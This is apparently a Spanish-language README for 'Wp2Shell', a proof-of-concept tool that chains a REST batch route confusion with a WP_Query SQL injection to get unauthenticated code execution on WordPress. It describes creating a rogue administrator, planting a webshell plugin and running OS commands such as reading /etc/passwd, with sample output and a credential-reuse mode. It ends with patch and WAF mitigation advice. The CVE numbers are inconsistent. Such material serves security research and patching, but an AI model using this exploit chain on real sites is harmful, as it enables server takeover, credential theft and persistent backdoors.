
Prueba de concepto de exploit para Wp2Shell, CVE-2026-63030 + CVE-2026-63137
Ejecución remota de código sin autenticación en el núcleo de WordPress.
CVE-2026-60137 (Inyección SQL en WP_Query) encadenada con CVE-2026-63030 (Confusión de ruta de lotes en la API REST).
Solo para fines educativos e investigación de seguridad autorizada.
WordPress 6.9.0 a 6.9.4 y 7.0.0 a 7.0.1 son vulnerables. Corregido en 6.9.5 y 7.0.2.
El exploit encadena dos vulnerabilidades:
CVE-2026-63030 — Confusión de ruta de lotes. El endpoint de lotes de la API REST en /wp-json/batch/v1 (o /?rest_route=/batch/v1) procesa sub-solicitudes en dos fases: primero asocia cada ruta a un manejador, luego envía cada solicitud a través de su manejador asociado. Cuando se inserta una ruta deliberadamente malformada (///) como primera sub-solicitud, WordPress almacena un WP_Error en el índice 0 del array de rutas asociadas. Esto desplaza cada asignación de manejador posterior un índice hacia atrás. El bucle de envío empareja entonces cada solicitud con el manejador incorrecto: una solicitud validada contra el Esquema A es ejecutada por el Manejador B, evitando la sanitización de parámetros que imponía el Esquema A.
CVE-2026-60137 — Inyección SQL en WP_Query. El endpoint de colección de entradas acepta un parámetro author_exclude cuyo esquema impone valores de array de tipo entero, sanitizando cada elemento con absint() antes de que llegue a WP_Query. La desincronización del lote hace que este parámetro evite por completo la validación del esquema y llegue a la lógica author__not_in de WP_Query como una cadena sin procesar. Debido a que absint() solo se aplica dentro de una rama is_array(), la cadena sin procesar se interpola directamente en la cláusula SQL WHERE, lo que permite la inyección UNION SELECT.
La cadena completa consta de cuatro pasos:
UNION SELECT reflejadas en la respuesta JSON REST.wp_posts que envenenan la caché oEmbed y activan el hook de publicación de changeset de WP_Customize_Manager, que llama a wp_insert_user() con role=administrator.git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell
No se requiere pip install.
Ejecuta los cuatro pasos: confirmación de desincronización, reconocimiento SQL, creación de administrador e implementación de webshell. Se crean una nueva cuenta de administrador y un nuevo plugin en cada ejecución.
python3 exploit.py --url http://TARGET --command "id"
python3 exploit.py --url http://TARGET --command "uname -a"
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"
Contra un objetivo HTTPS con un certificado autofirmado:
python3 exploit.py --url https://TARGET --command "id" --insecure
Después de que se complete una ejecución de cadena completa, el script imprime un comando de reutilización listo para usar con las credenciales implementadas y la ruta del shell precompletadas. Pasa esas tres banderas en ejecuciones posteriores para omitir por completo las fases de SQL y creación de administrador:
python3 exploit.py \
--url http://TARGET \
--command "whoami" \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password "Wp2!J47LBKLEbu4ebAJo" \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
[--admin-user USER] [--admin-password PASS]
[--prev-webshell-plugin PATH]
Las tres banderas --admin-* / --prev-webshell-plugin deben suministrarse todas juntas o ninguna.
+======================================================================+
| wp2shell -- PoC RCE Pre-Auth (Educativo / Investigación) |
| CVE-2026-60137 (SQLi) + CVE-2026-63030 (Confusión de ruta de lotes) |
+======================================================================+
Objetivo : http://localhost:8080
Comando : uname -a
Modo : CADENA COMPLETA
[PASO 1] Verificando endpoint de lotes + desincronización de confusión de ruta
[+] Endpoint de lotes accesible (HTTP 207)
[+] Desincronización de confusión de ruta confirmada (marcadores: block_cannot_read, parse_path_failed, rest_batch_not_allowed)
[PASO 2] UNION SQLi -- reconocimiento de base de datos
[+] Versión de base de datos : 10.11.18-MariaDB-ubu2204
[+] Usuario de base de datos : wpuser@%
[+] Nombre de base de datos : wordpress
[+] Prefijo de tabla : wp_
[+] Inicio de sesión admin : admin
[+] Hash admin (phpass) : $wp$2y$10$BSAr2Yyk/...
[+] ID de usuario admin : 1
[PASO 3] Creando un nuevo administrador mediante envenenamiento de caché oEmbed
[*] Sembrando caché oEmbed con 3 URL de bucle invertido...
[+] IDs de caché oEmbed: [96, 97, 98]
[*] Enviando veneno de changeset + creación de usuario...
[+] Admin creado -- nombre de usuario: wp2_poc_da4d1cf83acb contraseña: Wp2!J47LBKLEbu4ebAJo
[PASO 4] Autenticando + implementando webshell -- ejecutando: uname -a
[*] Iniciando sesión en wp-admin...
[+] Iniciada sesión como administrador
[*] Subiendo plugin webshell (slug: wp2shell_6c6f62a8)...
[+] Plugin subido
[*] Activando plugin...
[+] Plugin activado
[*] Ejecutando: uname -a
============================================================
SALIDA DEL COMANDO -- uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================
[+] RCE confirmada -- Cadena de exploit Pre-Auth completada
+-- PISTA DE REUTILIZACIÓN ------------------------------------------+
| Omite la cadena completa la próxima vez -- pasa estas banderas: |
+---------------------------------------------------------------------+
python3 exploit.py \
--url http://localhost:8080 \
--command 'YOUR_COMMAND' \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password 'Wp2!J47LBKLEbu4ebAJo' \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
Actualice a una versión corregida de inmediato.
wp core updatewp core update --version=6.9.5wp core update --version=6.8.6Si no es posible parchear de inmediato, bloquee ambas formas de URL del endpoint de lotes en el servidor web o en la capa WAF. Ambas rutas deben estar bloqueadas: una regla que cubra solo la forma de enlace permanente bonito deja la forma de cadena de consulta abierta:
# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }
# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]
O deshabilite el endpoint desde dentro de WordPress usando un plugin de uso obligatorio (must-use):
<?php
// wp-content/mu-plugins/disable-batch.php
add_filter( 'rest_batch_enabled', '__return_false' );
Trate todos los controles anteriores al parche como puentes temporales únicamente. Aplique el parche tan pronto como sea posible y verifique la versión instalada en cada instancia expuesta a Internet posteriormente.
Esta herramienta se proporciona con fines educativos y para pruebas de penetración autorizadas únicamente. Ejecutarla contra cualquier sistema sin el permiso explícito por escrito del propietario del sistema es ilegal. Los autores no aceptan ninguna responsabilidad por el mal uso.
| Banderas | Corta | Descripción |
|---|
--url | -u | URL base de WordPress objetivo. Por defecto: http://localhost:8080 |
--command | -c | Comando del sistema operativo a ejecutar. Por defecto: id |
--insecure | -k | Deshabilitar verificación de certificado TLS para certificados autofirmados |
--admin-user | Modo de reutilización: nombre de usuario administrador creado previamente | |
--admin-password | Modo de reutilización: contraseña de administrador creada previamente | |
--prev-webshell-plugin | Modo de reutilización: ruta web al plugin webshell ya implementado |